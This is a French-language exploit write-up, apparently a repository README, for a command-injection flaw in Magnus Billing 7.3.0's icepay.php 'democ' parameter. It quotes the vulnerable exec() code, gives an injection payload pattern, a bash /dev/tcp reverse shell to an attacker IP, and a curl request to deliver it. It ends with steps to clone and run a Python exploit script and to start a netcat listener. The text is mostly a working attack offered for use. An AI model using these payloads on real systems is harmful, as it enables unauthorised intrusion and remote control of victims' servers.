
Vulnérabilité RCE dans la ressource PHP de Magnus Billing
Il existe une vulnérabilité d'exécution de code à distance dans Magnus Billing 7.3.0, dans le paramètre "democ" de la ressource "icepay.php", où vous pouvez échapper à la requête et exécuter la commande de votre choix.
if (isset($_GET['democ'])) {
if (strlen($_GET['democ']) > 5) {
exec("touch " . $_GET['democ'] . '.txt');
} else {
exec("rm -rf *.txt");
}
}
Le paramètre "democ" est transmis à exec(), pour créer un nouveau fichier, mais comme vous pouvez le voir, aucune validation de chaîne n'est effectuée, et l'attaquant peut facilement échapper à la commande touch et exécuter une commande, voire obtenir un reverse shell. Pour contourner l'extension .txt, il suffit d'ajouter un autre ";" à la fin de la chaîne. Le payload final ressemblerait à ceci :
testfile;<command>;testfile
et voici à quoi cela ressemblerait une fois transmis à la fonction exec() :
exec('touch testfile;<command>;testfile.txt');
ex. reverse shell :
exec('touch testfile; bash -c "bash -i >& /dev/tcp/<ip>/<port> 0>&1";testfile.txt')
nous pourrions utiliser curl pour obtenir un reverse shell, ex.
curl -X GET http://127.0.0.1:8080/lib/icepay/icepay.php?democ=testfile;<urlencoded_payload>;testfile
ou si vous préférez, vous pouvez utiliser le script Python de ce dépôt. Installation :
git clone https://github.com/kayl22/magnus_billing_7.3.0_RCE_CVE-2023-30258 # get the repository
cd ./magnus_billing_7.3.0_RCE_CVE-2023-30258 # change directory
chmod +x ./magnusbilling_rce.py # add execution permissions to the python script
utilisation :
./magnusbilling_rce.py -h # show help
./magnusbilling_rce.py -lh <attacker_ip> -lp <local_port> -u http://<ip/domain>:<port>/
et pour terminer, n'oubliez pas de démarrer un listener avec netcat :
nc -nlvvp <local_port>